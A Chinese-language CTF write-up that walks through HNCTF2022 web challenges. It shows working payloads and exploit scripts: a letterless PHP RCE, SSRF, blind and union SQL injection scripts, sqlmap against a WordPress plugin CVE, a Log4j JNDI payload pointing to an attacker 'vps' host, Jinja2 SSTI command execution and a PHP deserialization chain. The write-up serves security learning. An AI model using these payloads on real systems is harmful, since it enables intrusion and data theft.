HNCTF2022 Web部分WriteUp

HNCTF2022 Web部分题解

这里我没有全部记录,只记录一些个人觉得有意思的点。

[Week1]Challenge__rce

源码

<?php
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}

这题过滤真的挺严格的,基本上之前的手段都被ban了

<?php
for($a = 0; $a < 256; $a++){
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", chr($a))){
echo urlencode(chr($a))." ";
}
}

image-20221029225443486

主要的思路就来自p牛的无字母数字webshell之提高篇还有hint ctfshow吃瓜杯shellme_revenge那题。

但是仿照这些去构造_GET总是长度过长,还有就是吃瓜杯那题,,这题\符号是不能用的

最后的解法的话,要利用chr来构造,利用Arraya自增到ch,然后拼接上里面有的r,再利用ascii码构造出_GET

<?php
$_=([].«){3};
var_dump($_); //a
$_++; //b
$_.=++$_; //cc
$_++; //cd
$_++; //ce
$_++; //cf
$_++; //cg
$_++; //ch
$_.=([].«){2}; //chr
var_dump($_);
$_=_.$_(71).$_(69).$_(84); // _GET
var_dump($_);
($$_[0])($$_[1]);

image-20221029225723607

[WEEK2]ez_ssrf

这题…感觉代码写的有点问题,请求要响应半天才显示

image-20221030125042273

有时候还直接400

payload

http://43.143.7.97:28957/index.php?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQpIb3N0OiAxMjcuMC4wLjEKQ29ubmVjdGlvbjogY2xvc2UK

[WEEK2]easy_sql

盲注+无列名注入

首先这里简单fuzz一下,发现主要过滤了information_schema ,#,and,空格等。

过滤information_schema的话,就考虑下面这四个,但是这题只有利用mysql.innodb_table_stats和mysql.innodb_index_stats

mysql注入绕过information_schema过滤

注入出库名和表名,之后只能采用无列名注入,payload和[SWPU2019]Web1那题是类似的

exp

import requests

url = 'http://43.143.7.97:28812/index.php'

databases = 'ctf, ctftraining, mysql'
# select = "select/**/group_concat(database_name)/**/from/**/mysql.innodb_index_stats"
# select = "select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='ctftraining'"
tables = 'flag, news, users'
select = "select/**/group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select*from/**/ctftraining.flag)n"
flag = ''

for i in range(10000):
for s in range(32, 128):
# payload = f"2'or(if(ascii(substr(({select}),{i},1))={s},1,0))or'1'='2"
payload = f"2'or(if(ascii(substr(({select}),{i},1))={s},1,0))or'1'='2"
res = requests.post(url=url, data={'id': payload})
# print("[*]Testing->", chr(s))
if 'Here is your want!' in res.text:
flag += chr(s)
print(flag)
break

image-20221030131407599

[WEEK2]ohmywordpress

这一题是个wordpress,它本身是没啥漏洞的,主要是一些插件的洞,上次强网杯也是,这里的话,可以直接看源码发现有两个插件,或者直接wp-scan可以扫出来有个插件版本是没更新的

image-20221030151429018

于是就直接谷歌搜,搜出来CVE-2022-0760,有利用payload

image-20221030135239002

image-20221030135223671

可以看到是可以时间盲注的

直接上sqlmap了

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 43.143.7.97:28116
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://43.143.7.97:28116/wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Origin: http://43.143.7.97:28116
Connection: close
Upgrade-Insecure-Requests: 1

action=qcopd_upvote_action&post_id=*
sqlmap -r 1.txt --level 3
sqlmap -r 1.txt --level 3 --dbs
[*] ctftraining
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] wordpress
sqlmap -r 1.txt --level 3 --tables -D ctftraining
+-------+
| flag |
| news |
| users |
+-------+
sqlmap -r 1.txt --level 3 --dump -D ctftraining -T flag

image-20221030155116357

[WEEK3]logjjjjlogjjjj

就是log4j的漏洞复现,利用这个

payload

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i vps -p 2333
${jndi:ldap://vps:1389/TomcatBypass/TomcatEcho} //要url编码传过去

image-20221030172032962

可以直接执行命令,也可以反弹shell

[WEEK3]ssssti

比之前那题多了过滤,引号 下划线

看这位师傅学到了用lipsum

{{lipsum[request.values.a][request.values.b][request.values.c](request.values.d).popen(request.values.e).read()}}&a=__globals__&b=__builtins__&c=__import__&d=os&e=ls /

[WEEK4]pop子和pipi美

<?php
error_reporting(0);
//flag is in f14g.php
class Popuko {
private $No_893;
public function POP_TEAM_EPIC(){
$WEBSITE = "MANGA LIFE WIN";
}
public function __invoke(){
$this->append($this->No_893);
}
public function append($anti_takeshobo){
include($anti_takeshobo);
}
}

class Pipimi{

public $pipi;
public function PIPIPMI(){
$h = "超喜欢POP子ww,你也一样对吧(举刀)";
}
public function __construct(){
echo "Pipi美永远不会生气ww";
$this->pipi = array();
}

public function __get($corepop){
$function = $this->p;
return $function();
}
}
class Goodsisters{

public function PopukoPipimi(){
$is = "Good sisters";
}

public $kiminonawa,$str;

public function __construct($file='index.php'){
$this->kiminonawa = $file;
echo 'Welcome to HNCTF2022 ,';
echo 'This is '.$this->kiminonawa."<br>";
}
public function __toString(){
return $this->str->kiminonawa;
}

public function __wakeup(){
if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa)) {
echo "仲良ピース!";
$this->kiminonawa = "index.php";
}
}
}

if(isset($_GET['pop'])) @unserialize($_GET['pop']);

else{
$a=new Goodsisters;
if(isset($_GET['pop_EP']) && $_GET['pop_EP'] == "ep683045"){
highlight_file(__FILE__);
echo '欸嘿,你也喜欢pop子~对吧ww';
}
}

这题开头的参数有点阴间,要传番号,开始没懂,问了别人才知道…

这里也很明显,主要就是执行那个include函数包含出flag,然后过滤用伪协议就好。

主要思路呢,就是通过invoke去调用append执行include函数,而__invoke()当一个对象被当作函数调用时触发,

然后我们可以看到Pipimi有个get方法可以触发他,而__get()类中的属性私有或不存在触发,接着我们可以看到下面的toString方法,

通过它把上面的链起来。

exp

<?php
class Popuko
{
private $No_893 = "php://filter/read=convert.base64-encode/resource=f14g.php";
}

class Pipimi
{
public $pipi;
}

class Goodsisters
{
public $kiminonawa,$str;
}

$a = new Popuko();
$b = new Pipimi();
$b->p = $a;

$c = new Goodsisters();
$c->str = $b;

$d = new Goodsisters();
$d->kiminonawa = $c;

echo urlencode(serialize($d));

[WEEK4]fun_sql

<?
include "mysql.php";
include "flag.php";

if ( $_GET['uname'] != '' && isset($_GET['uname'])) {

$uname=$_GET['uname'];

if(preg_match("/regexp|left|extractvalue|floor|reverse|update|between|flag|=|>|<|and|\||right|substr|replace|char|&|\\\$|0x|sleep|\#/i",$uname)){
die('hacker');

}

$sql="SELECT * FROM ccctttfff WHERE uname='$uname';";
echo "$sql<br>";


mysqli_multi_query($db, $sql);
$result = mysqli_store_result($db);
$row = mysqli_fetch_row($result);

echo "<br>";

echo "<br>";
if (!$row) {
die("something wrong");
}
else
{
print_r($row);
echo $row['uname']."<br>";

}
if ($row[1] === $uname)
{
die($flag);
}
}
highlight_file(__FILE__);

**有点像堆叠注入,但是貌似不能多语句执行,只能用union来注入。**

确实是堆叠注入,看了官方wp可以用insert来注入

首先用order by来判断出3列,然后利用load_file来读flag,但是flag关键字被过滤了,一下子没想出来,问了其他师傅明白到了用concat连接字符串

-1' union select 1,load_file(concat('/var/www/html/fla','g.php')),3--+

总结

有些题目还是挺有意思的,至少我是新生的时候没这个水平QAQ

作者

秋秋晚

发布于

2022-10-29

更新于

2023-01-10

许可协议

评论

:D 一言句子获取中...